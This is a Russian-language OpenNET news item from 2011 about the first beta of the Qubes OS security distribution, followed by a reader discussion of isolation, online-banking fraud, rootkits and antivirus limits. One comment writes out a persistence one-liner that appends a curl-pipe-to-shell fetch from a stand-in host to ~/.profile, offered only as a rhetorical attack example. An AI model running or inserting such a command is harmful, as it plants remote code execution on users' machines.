The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Началось бета-тестирование безопасного Linux-дистрибутива Qubes OS

14.04.2011 12:17

Увидела свет первая бета-версия безопасного пользовательского Linux-дистрибутива Qubes OS, разрабатываемого под руководством Йоанны Рутковской (Joanna Rutkowska), польского специалиста по безопасности, получившей известность благодаря созданию "неуловимого" руткита Blue Pill и разработке метода атаки на механизмы защиты процессоров Intel TXT и Intel System Management Mode (SMM). Высокая устойчивость Qubes OS к взломам достигается за счет использования гипервизора Xen, поверх которого работают несколько виртуальных Linux-машин (доменов), выполняющих строго определенный набор функций.

Домены приложений предназначены для запуска пользовательских программ, сетевой домен ответственен за сетевые коммуникации, в рамках домена хранилища работают драйверы накопителей и зашифрованная корневая файловая система (такое разделение достигается за счет использования мехнизма Intel VT-d). Графический интерфейс и система управления остальными доменами работают внутри административного домена. Также предусмотрены домены для запуска сетевых сервисов.

Приложения пользователя получают доступ к зашифрованной корневой файловой системе, а также образу, содержащему специфичные для него данные, используя домен хранилища. Ключ шифрования корневой ФС известен только административному домену, поэтому компрометация домена приложений повлечет за собой потерю контроля только над данными самого домена, но не всей файловой системой. Все сетевые коммуникации осуществляются через сетевой домен, поэтому если злоумышленник проникнет в систему используя уязвимость в сетевом драйвере, под угрозой окажется только сетевой домен.

Qubes OS опирается на семантическое разделение ПО между доменами приложений, а это значит, что приложения помещаются в тот или иной домен не по типу, а по назначению и уровню доступа к конфиденциальной информации. Например, в рамках домена Entertainment могут работать десятки приложений, такие как видео- и аудио-плееры, Web-браузеры, клиенты социальных сетей и т.д., а в домене Banking будет работать только Web-браузер и email-клиент. Предполагается, что если пользователь закончил работу с онлайн-банком и решил переключиться на чтение новостей, он должен закрыть браузер, работающий в домене Banking и продолжить работу в браузере домена Entertainment (забыть об этом будет трудно, так как приложения работающие в домене Banking будут иметь ярко-красные рамки). Такой подход гарантирует, что вредоносный код, проникнувший в систему из непроверенных источников, не сможет получить доступ к конфиденциальной информации пользователя.

Первая бета-версия Qubes включает в себя следующие новшества:

  • Инсталлятор;
  • Улучшенный механизм шаблонов, который позволяет создавать новые сервисные домены на основе предопределенных шаблонов прямо во время работы системы;
  • Поддержка автономных доменов, работающих обособленно от всей основной инфраструктуры ОС. Их можно использовать для разработки и установки приложений из непроверенных источников;
  • Поддержка доменов для межсетевых экранов;
  • Переработанный механизм копирования файлов между доменами, который стал проще и безопаснее;
  • Руководство пользователя;
  • Система теперь базируется на пакетной базе Fedora 14.

Выпуск финального релиза намечен на лето. Тогда Qubes OS будет разделена на две ветки: коммерческую, в рамках которой планируется добавить в ОС дополнительные расширения, одно из которых - поддержка Windows-доменов, и свободную, в рамках которой пойдет дальнейшее развитие ОС и реализация таких возможностей, как "небезопасные домены хранилища", мультиплексирование GPU, доверенная загрузка и т.д. Релиз Qubes 2.0 планируется выпустить не раньше 2012-2013 года.

Установочный ISO-образ можно загрузить на данной странице (размер iso-образа 1.6 Гб). Более подробно архитектура ОС рассмотрена в официальном документе и в данной русскоязычной статье. В течение следующих двух месяцев планируется выпуск второй бета-версии, в рамках которой будет улучшен пользовательский интерфейс, обновлен Xen и ядро.

  1. Главная ссылка к новости (http://theinvisiblethings.blog...)
  2. OpenNews: В безопасной ОС Qubes будет добавлена поддержка одноразовых изолированных окружений
  3. OpenNews: Qubes - новая безопасная операционная система на базе Linux и Xen
  4. OpenNews: Обнаружена локальная root-уязвимость, затрагивающая все Linux-ядра 2.6.x
  5. OpenNews: Уязвимость в процессорах Intel, позволяющая выполнить код на уровне SMM
Автор новости: Evgeny Zobnin
Тип: Программы
Короткая ссылка: https://opennet.ru/30243-Qubes
Ключевые слова: Qubes, virtual, linux, security, limit, xen
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение (73) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (-), 12:50, 14/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    для параноиков однозначно :)
     
     
  • 2.3, klalafuda (?), 12:57, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > для параноиков однозначно :)

    Никогда не 'терял' деньги со своего счета? Ничего, все ещё впереди.

     
     
  • 3.13, Аноним (-), 13:28, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • –8 +/
    Деньги? Есть на карточке. Виза называется. С компом ничего общего. А ты заливай дальше свое бабло через интернет. Удачи.
     
     
  • 4.15, klalafuda (?), 13:34, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Деньги? Есть на карточке. Виза называется. С компом ничего общего. А ты заливай дальше свое бабло через интернет. Удачи.

    'Карточка виза' дабы вы знали молодой человек обычно принадлежит какому-то банку, который её эмитировал. Банк же (любой) без вменяемого интернет-банкинга с управлением счетом, внешними переводами и тд и тп - это даже не прошлый, это уже позапрошлый век. На уровне билетика в бабломат.

     
  • 4.16, Анонимка (?), 14:02, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Вот, провел ты карточкой в магазине, должно произойти списание.
    Конечно, зачем же тут комп!

    Да, у меня стоит POS-терминал самостоятельный, а вот если это комплекс с операционной системой и кассой?
    Помнится, недавно было массовое двойное списание в одном из банков. Пусть, не по той причине, но один фиг - неприятно.

     
  • 4.27, User294 (ok), 16:07, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +4 +/
    > Деньги? Есть на карточке. Виза называется. С компом ничего общего.

    Ага, конечно. А это, в банк ходить - не заколебывает, при том что ту же операцию в нормальном банке можно сделать не отдирая зад от стула? Я вижу некую разницу между "убить полдня на визит в банк" и "произвести эту же транзакцию через вебморду за целых 5 минут".

    Я уж молчу о том что карточкой можно например оплачивать, вы только представьте себе, покупки в зарубежных магазинах. И глядя на то как одна и та же вещь продается у буржуев за X долларов а тут за (3 * X) долларов я прихожу к логичному выводу что я хочу сэкономить себе почти (2 * X) условных единиц, если оно не суперсрочно и можно подождать доставку. А то переплачивать в 3 раза просто потому что местные барыги зарвались - мне как-то не прикольно совсем.  

     
     
  • 5.32, Sergey722 (?), 17:06, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Никогда не покупал за рубежом с доставкой. Можно подробнее или ссылки на описание процесса?
    Интересует:
    - Что обычно таким образом имеет смысл брать?
    - Где брать? Амазон?
    - Платить PayPall?
    - Как, вообще, доставка происходит? Нет каких-нибудь проблем с таможней (может глупый вопрос, но вертится в голове)? Бывает ли, что пришел некондиционный товар? Что с этим можно сделать?
     
     
  • 6.34, deadless (ok), 17:16, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Начни с ebay.com, а потом можно и в знатные места типа dealextreme.com.
     
     
  • 7.38, Crazy Alex (??), 18:10, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Начни с ebay.com, а потом можно и в знатные места типа dealextreme.com.

    Наоборот, диалэкстрим проще в этом плане, а вот для доставик с ебэя обычно выгоднее пользоваться услугами посредников - во-первых, worldwide доставка мало у чего, а даже там, где она есть, часто выгоднее отправить на адрес посредника и заплатить ему за пересылку до вас + комиссионные. К тому же они обычно еще и комплектность/состояние проверить готовы и поругаться на месте, если что.

     
  • 6.56, User294 (ok), 23:52, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Да в общем то никакой ракетной науки Заходите на ebay, dealextreame и подобные ... большой текст свёрнут, показать
     
  • 5.37, Crazy Alex (??), 18:07, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Клинт-банк, не имеющий механики одноразовых ключей или чего-то аналогичного - это дикость, вообще-то.

    С другой стороны - руткиты под линукс, конечно, бывают. Где-то. В теории. А на практике оно не слишком актуально.

     
     
  • 6.41, klalafuda (?), 18:34, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Клинт-банк, не имеющий механики одноразовых ключей или чего-то аналогичного - это дикость, вообще-то.

    1. Методы социальной инженерии позволяют обойти OTP (One Time Password). Например, это было не так давно доказано на примере Альфа-Банка. Причем AFAIU в достаточно массовом порядке. После этого ребята наконец то зашевелились и на каждом столбу начали вещать мол не сообщайте свой OTP пароль сотрудникам банка и блаблабла.

    2. С распространением смартфонов и соотв. малваря под них все актуальнее становится проблема, когда злоумышленник сможет одновременно контролировать и хост жертвы и её сотовый телефон. Включая SMS, как один из популярных каналов доставки OTP. Со всеми вытекающими.

     
  • 6.42, klalafuda (?), 18:37, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Клинт-банк, не имеющий механики одноразовых ключей или чего-то аналогичного - это дикость,  вообще-то.

    Да, и не забываем, что топовые банки в тех же Штатах НЕ используют OTP. Или же уровень их внедрения минимален. Опять же, со всеми вытекающими. AFAIU в этом плане России видимо повезло. В том плане, что интернет-банкинг пришел к нам существенно позже, чем скажем в Штаты. И многие вещи были уже лишены кучи легаси несекурных решений, которые сейчас так больно бьют пот карману американских налогоплательщиков и страховых компаний.

     
  • 6.43, Одмин (?), 18:52, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > руткиты под линукс, конечно, бывают. Где-то. В теории.

    и на практике я видел их много и они работают. Погугли и посмотри сколько было уязвимостей по поднятию привилегий в линухе за последние три года. А уж сколько раз через vmsplice ломали...

     
  • 6.57, User294 (ok), 00:25, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Пусть они дружно идут в жопу Вместе с своими одноразовыми ключами и говняными с... большой текст свёрнут, показать
     
     
  • 7.62, SkyRanger (ok), 01:36, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Из минусов: покупки придется планировать. Ну а никто
    > и не обещал что параноиком быть легко.

    Ну я так давно и сделал. Зарплатная карточка одна причем дебетовая.

    Для покупок другая Visa Classic тоже дебетовая без овердрафта. И все :) Решил что купить зашел в банк кинул денег, пришел домой - заплатил :)

     
  • 7.68, klalafuda (?), 10:52, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Вообще, если реально ссыкотно, кардеры бегут за вами по пятам и пытаются набросить лассо из картридера на вашу голову: заводите себе отдельную карту/счет. С "обычным" балансом на счете около нуля. Закидываете туда сумму равную сумме покупки плюс-минус лапоть. Покупаете. А далее ... ну если на карте нифига нет, то и спереть оттуда ничего не получится, как вы понимаете :). Из минусов: покупки придется планировать. Ну а никто и не обещал что параноиком быть легко.

    Для таких целей многие банки предоставляют т.н. 'виртуальную' карту. Собственно сам по себе пластик не нужен для оплаты в онлайне, нужны лишь ТТХ. Ну а далее то же самое, что и с пластиком. Зашел в минетбанк, сделал внутренний перевод между своими же счетами на требуемую сумму, тут же оплатил. Все.

     
  • 6.76, Satori (?), 21:38, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > С другой стороны - руткиты под линукс, конечно, бывают. Где-то. В теории.

    Видел действие своими глазами, следя за подключениями в реальном времени. Какая-то пакость залезла в Linux Mint стучалась на сервер Webmoney через процесс Forefox. Сдохла после перезагрузки и, естественно, чистки кэша файерфокса. Но если бы я во время того сеанса вздумал поработать с вэбманамы через веб-морду, то мой пароль наверняка ушуршал бы моментально. Такие дела. Так что Linux - увы, не панацея.


     
     
  • 7.77, ананим (?), 02:01, 16/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    это новое слово в руткитостроении, поздравляю.

    не даёт покоя только одно - если чел не знает что такое руткит, то сможет ли он видеть своими глазами, следя за подключениями в реальном времени да через фф, что пакость залезла именно в линух минт?

     

  • 1.2, yuzer (?), 12:55, 14/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • –5 +/
    ...зловредный код, проникнувший в систему из непроверенных источников...

    И это безопасный дистрибутив?

     
     
  • 2.5, k0l0b0k (??), 13:00, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +7 +/
    да, потому что теоретически, проникновение всегда возможно, и быть к нему готовым - одна из целей сабжа. Зачастую, дефолтные современные системы разрушаются изнутри первым же залетевшим дятлом.
     
     
  • 3.20, зкщпкщ (?), 14:37, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • –5 +/
    Антивирусы тоже теоретически готовы к защите.
     
     
  • 4.22, szh (ok), 15:22, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Антивирусы даже теоретически не готовы к этому уровню защиты
     
  • 4.28, User294 (ok), 16:38, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Антивирусы тоже теоретически готовы к защите.

    Антивирусы теоретически готовы поймать бяку, КОГДА ОНА УЖЕ У ВАС В СИСТЕМЕ. Более того, они ловят только то что известно. Маркетинг эвристики всякой - оставим на совести маркетологов, а я своими глазами видел как похожие на оригинал модификации трояна были успешно пропущены вообще ВСЕМИ антивирусами, даже без варнинга. Извините, одно дело, если вас от пули бронежилет спасет, а другое - если вас, может быть, потом попробуют заштопать, после того как в вас уже образовалась приличная дырка. Вот антивирусы - это команда хирургов которые пытаются заштопать систему после того как в нее уже попала пуля. А Рутковска предлагает бронежилет...

     
  • 4.45, анон (?), 19:21, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >Антивирусы тоже теоретически готовы к защите.

    Современные антивирусы способны обезвредить лишь сравнительно небольшую долю актуальных вирусов (от 10% до 30% по различным оценкам). Вирусы из оставшейся доли могут иметь "защищённые" антивирусами компы во всех удобных позах.

     
  • 4.51, k0l0b0k (??), 21:05, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    антивирусы нужны только кругу людей с узким лбом.
     

  • 1.6, Motif (ok), 13:02, 14/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А VT-d нахрена нужно? Linux же поддерживает паравиртуализацию, а паравиртуальному домену можно дать доступ к железу и без всякого спец. железа.
     
     
  • 2.10, анон (?), 13:20, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    При использовании паравиртуализации, предоставление гостям доступа к периферии реализуется через жуткие костыли, и поэтому практически не контролируется и очень небезопасно для хоста.
     
  • 2.11, анон (?), 13:23, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > А VT-d нахрена нужно?

    Кроме того, не надо путать vt-x и vt-d.
    Аппаратная поддержка виртуализации - vt-x.
    vt-d - технология безопасного проброса pci-устройств гостям (работающим через vt-x).

     
     
  • 3.52, Michael Shigorin (ok), 21:37, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Осторожно только, у мелланоксовских десяток с VT-d дикие глюки бывали.  Лучше б сразу честно не работало...
     

  • 1.8, Аноним (-), 13:05, 14/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Все это конечно хорошо, но 4G RAM и 10G HDD как-то многовато для _минимальных_ системных требований...
     
     
  • 2.12, анон (?), 13:24, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Все это конечно хорошо, но 4G RAM и 10G HDD как-то многовато
    > для _минимальных_ системных требований...

    У параноиков это считается вполне нормальным.

     
  • 2.30, User294 (ok), 16:46, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Все это конечно хорошо, но 4G RAM и 10G HDD как-то многовато
    > для _минимальных_ системных требований...

    А вы хотели пачку "почти независимых" операционок на 1 машине и чтоб это не жрало ресурсы? Чудес не бывает, извините :)

     
     
  • 3.39, Crazy Alex (??), 18:16, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >> Все это конечно хорошо, но 4G RAM и 10G HDD как-то многовато
    >> для _минимальных_ системных требований...
    > А вы хотели пачку "почти независимых" операционок на 1 машине и чтоб
    > это не жрало ресурсы? Чудес не бывает, извините :)

    Тем не менее, практическую применимость это ограничивает существенно. Интересно, можно что-то менее параноидальное и менее прожорливое сделать?

     
     
  • 4.50, анон (?), 20:58, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Тем не менее, практическую применимость это ограничивает существенно. Интересно, можно
    > что-то менее параноидальное и менее прожорливое сделать?

    Если у вас нет денег на машину, вы можете купить велосипед. Берите линакс/фряшу/винхп - менее прожорливо, менее параноидально.

     
  • 4.53, Michael Shigorin (ok), 21:38, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    ovz? ;-)
     
  • 4.58, User294 (ok), 00:39, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Тем не менее, практическую применимость это ограничивает существенно.

    Ну извините. У нее там по сути живет выводок независимых операционок, поимение одной части - не обязывает все остальные пострадать.

    > Интересно, можно что-то менее параноидальное и менее прожорливое сделать?

    Можно. Но оно действительно будет менее параноидально, т.е. с более плохой степенью изоляции - Рутковска явно не любит компромиссы, поэтому сделала изоляцию по максимуму.

    Например на OpenVZ/LXC можно нечто такое сгородить. Более того, JFYI, гугель именно так уталкивает Chrome/Chromium на линухе в изолированный контейнер, что несколько минимизирует вред от вражеских пуль. У них там мелкий враппер есть, который дергает clone() с флагами пхающими процесс браузера в отдельный контейнер.

    По ресурсам такое ессно лучше - одна копия ОС в памяти на всех. Только вот по изоляции будет хуже. Чтобы полностью поломать окружение Рутковской - надо поломать мелкий гипервизор. Чтобы поломать окружение с контейнерами - надо поломать относительно большой кернель. Сломать большой кернель проще чем маленький гипервизор, потому что багов в нем по логике вещей должно бы быть больше ;)

     

  • 1.9, Фкуку (?), 13:10, 14/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Но это и хорошо - заработаю денег на свободном от конкуренции поле :)
     
  • 1.14, Аноним (-), 13:31, 14/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Ничего он не "неуловимый", этот blue pill. Дальше и читать не стал очередной пеар от Рутковски
     
     
  • 2.17, Аноним (-), 14:05, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Там в кавычках.
     
  • 2.24, User294 (ok), 15:59, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > очередной пеар от Рутковски

    Все бы так пиарились. Рутковска в своем ремесле шарит так что многим и не снилось. Доказав это *делом*. Выпустив и труднообнаружимые руткиты, невидимые стандартными средствами чуть более чем полностью, и хорошо укрепленные системы, при том - хотя элементы технологий достаточно общеизвестны, собрать мозаику в одну картину у нее вышло быстрее и лучше чем у остальных. Можете лучше? Докажите. Делом. Тявкание на форуме - за дело не считается. Вот если вы например поломаете систему Рутковской :) или сделаете свою, еще защищеннее - тогда пожалста, рассказывайте про пиар и что там еще. Можете даже сами попиариться наздоровье тогда - это будет вполне обоснованно:)

     
     
  • 3.33, Аноним (-), 17:06, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > труднообнаружимые руткиты, невидимые стандартными средствами чуть более чем полностью

    Вы уж как нибудь определитесь - то ли труднообружимые, то ли неуловимые. Руткиты на основе виртуализации, как и сама виртуализация, обнаруживаются легко.

    > Можете лучше? Докажите. Делом. Тявкание на форуме

    А вы можете снести яйцо? Нет? Так наверно и покупаете тухлые. Придумайте аргументацию что ли получше, а то эта логика протухла хуже яиц.

     
     
  • 4.48, szh (ok), 20:18, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > А вы можете снести яйцо? Нет?

    От вас меньше надо, хотя бы почитайте "Дальше и читать не стал", и не пеняйте пустыми обвинениями в пиаре, а то эта логика протухла хуже яиц.

     
  • 4.59, User294 (ok), 01:09, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Идеальный сферический руткит в вакууме по технологии Рутковской поймать должно б... большой текст свёрнут, показать
     
     
  • 5.65, коксюзер (?), 07:36, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Блажен, кто верует.
     
     
  • 6.84, User294 (ok), 16:44, 19/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Блажен, кто верует.

    Это видимо был могучий технический аргумент :)

     
  • 5.70, Аноним (-), 11:55, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Из того что приходит на ум всего за 5 минут, кроме уже упомянутого тайминга 1 ... большой текст свёрнут, показать
     
     
  • 6.85, User294 (ok), 17:58, 19/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Его и еще много кто портит Кроме того, в зависимости от типа виртуализации дост... большой текст свёрнут, показать
     
  • 3.40, Аноним (-), 18:17, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • –2 +/
    сперва добейся как-бы аналогичная система реализуется без таких наворотов вопр... большой текст свёрнут, показать
     
     
  • 4.54, Michael Shigorin (ok), 21:45, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > 3д и звук работают только в хост-системе

    Соболезную.

    > и тем, что я буду юзать дебиан а не глюкавую федору?

    Так о чём речь -- ждём исошку на покрутить в руках.

    (надеюсь, Вы тоже в курсе, что между пониманием, концептом, кусочками, технологией и продуктом -- огромные разрывы)

     
     
  • 5.67, Аноним (-), 10:45, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • –1 +/
    нечего, так как vt-d и ему подобные пока что в ооочень сыром состоянии исошку я... большой текст свёрнут, показать
     
     
  • 6.71, Michael Shigorin (ok), 13:36, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > нечего, так как vt-d и ему подобные пока что в ооочень сыром
    > состоянии.

    Местами уже работает, пачку виртуальных сетевых карт с левыми маками (и разными device function) наш техдир тут показывал ещё с полгода тому, что ли.

    > исошку я не дам, нету времени чтобы сделать все от и до.
    > dd образ можно, но опять же - если у меня найдется
    > столько времени и главное желания это делать.

    Так для себя-то каждый может потихоньку выточить то, что считает более-менее подходящим.  Это ещё дважды обобщить надо, чтоб исошка вышла хоть какая-нибудь.

    Гругря накропать и скопипастить нынче первый встречный брамин может, а вот _написать_...

    > и таки да - виртуализации не место на десктопах.

    Вполне себе место, если помогает в решении стоящих задач.

    [skip: это понятно, но себе такого не хочу и другим вообще-то тоже]

     
  • 4.60, User294 (ok), 01:22, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Потому что критикуя - предлагай Предложите решение с такой же пуленепроби... большой текст свёрнут, показать
     
     
  • 5.69, Аноним (-), 11:03, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    как вариант - selinux при условии, что Вам реально так надо, мне лично - нет м... большой текст свёрнут, показать
     
     
  • 6.73, Michael Shigorin (ok), 13:57, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > по сети через ssh - проблем с HD видео никаких нету

    А попробуйте на localhost.

    > как бы у меня такие идеи возникали давно, вот только восьмиядерного компа
    > с 32 гигами оперативки у меня нету... :)

    У меня есть (правда, 36Gb), но очень сильно не уверен, что даже с mdadm ... --write-mostly получится адекватная картинка.

    Кто-то с год или два тому анонсировал ФС, которая жила в памяти, но порой синкалась на постоянный носитель -- а, вот: http://lwn.net/Articles/273030/ -- но оно not there yet, if ever.

    > PS: как нибудь соберу и выложу скрипт для сборки таких систем.

    Ну как-нибудь напишете новость, а мы почитаем да порадуемся.

    Только любое толковое обобщение требует не только хотя бы раз (а лучше надцать) сделать, а и понимать, как и кому это может быть ещё полезно, и не занимать позицию "я один дартаньян": при такой и от очень хорошо сделанного обобщения может пользы в итоге выйти ровно как от того самого единственного частного случая у автора...

     
  • 6.86, User294 (ok), 18:24, 19/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Вообще не вариант - настраивается геморно, а выносится первым же сплойтом прорва... большой текст свёрнут, показать
     

  • 1.19, Аноним (-), 14:29, 14/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    > зловредный код
    > зловред

    Лучи ненависти тому, кто популяризировал это слово. (касперский и ко?)

     
  • 1.21, ABC (??), 14:50, 14/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Её зовут Йоанна, а не Джоанна.
     
     
  • 2.47, AMD Man (?), 19:38, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Яна. Просто Яна...
     
     
  • 3.49, анон (?), 20:55, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Это разные произношения одного имени: Джоанна - американское, Иоанна - польское, Яна - русское.
    Имхо, в данном случае стоит использовать либо польское (as designed), либо русское (зачем ломать язык над нативным произношением, если есть адаптированная версия?).
     
     
  • 4.63, Андрей (??), 01:38, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    А в начале новости ссылка на: https://www.opennet.ru/opennews/art.shtml?num=20853
    Там она просто Жанна.
     
     
  • 5.66, Аноним (-), 08:54, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Вообще-то Иоанна - это древнееврейское имя как и Иоанн, по русски Иван. Библию откройте.
    Ещё известен такой композитор Иоанн Себастьян Бах :)
     
     
  • 6.81, han (??), 14:06, 17/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Иога́нн Себастья́н Бах (нем. Johann Sebástian Bach), википедия так говорит
     

  • 1.23, User294 (ok), 15:52, 14/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Джоанна знает свое ремесло. Хорошо знает - система сделана весьма забавно, для хацкеров такое устройство системы - явно не подарок :)
     
  • 1.25, Аноним (-), 16:04, 14/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    А теперь, со всем этим барахлом, попытаемся взлететь.
     
  • 1.26, barmaglot (??), 16:06, 14/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • –3 +/
    Trusted Solaris/OpenSolaris oбразца 2007-2008 года.
     
     
  • 2.36, Аноним (-), 17:48, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Там была защита от того, что пробитый браузер делал echo "curl http://example.org/foo.sh | sh" >> ~/.profile?
     
  • 2.46, анон (?), 19:27, 14/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >Trusted Solaris/OpenSolaris oбразца 2007-2008 года.

    Нет. Мандатный контроль доступа, на котором базируется trusted solaris, формирует совсем другой рубеж защиты (в линаксе это selinux). МКД требует очень тонкого и трудоёмкого конфигурирования, и почти любая ошибка ведёт либо к нарушению нормальной работы софта, либо к появлению дыры.

    Предлагаемый в сабже метод лишён этих недостатков, ценой сильного оверхеда по ресурсам.

     
     
  • 3.61, User294 (ok), 01:28, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Нет. Мандатный контроль доступа, на котором базируется trusted solaris, формирует совсем
    > другой рубеж защиты (в линаксе это selinux). МКД требует очень тонкого
    > и трудоёмкого конфигурирования, и почти любая ошибка ведёт либо к нарушению
    > нормальной работы софта, либо к появлению дыры.

    Более того, малейшая дыра в ядре - и вот уже мандатный контроль идет нафигъ, потому что поломали того кто его и энфорсил, ахаха. Если вместо вашего часового на границе стоит уже вражеский - вы, определенно, влипли...

    > Предлагаемый в сабже метод лишён этих недостатков, ценой сильного оверхеда по ресурсам.

    Предлагаемый в сабже метод также довольно нечувствителен к дырам в крупных ядрах и либах операционок. А раздолбать мелкий гипервизор - все-таки несколько сложнее чем большой кернель, т.к. багов в нем меньше. Рутковска в отличие от фанов [your OS here] этот момент прекрасно понимает. Более того, она даже ранее описывала этот момент, объясняя "почему Xen, а не KVM или ктотамеще". Если кто был ленив и туп и не прочитал это - я в этом не виноват.

     
     
  • 4.72, Онаним (?), 13:49, 15/04/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >объясняя "почему Xen, а не KVM или ктотамеще"

    И все-таки не поленитесь ткнуть в ссылочку. Интересно же.

     

  • 1.64, коксюзер (?), 07:04, 15/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > выполняющих строго определенный набор функций.

    http://seclists.org/dailydave/2010/q3/29

     
  • 1.75, Alex (??), 14:42, 15/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Очень интересный проект. Интересно, насколько сложно его освоить с пользовательской стороны?
     
  • 1.83, lucentcode (ok), 03:00, 19/04/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Читал про эту ось на сайте журнала "Хакер". Идея проста как дважды два, и также гениальна. В виртуальных окружениях работают специально заточенные под конкретную цель агенты, а с одной из виртуальных машин идёт управление.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Спонсоры:
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2020 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру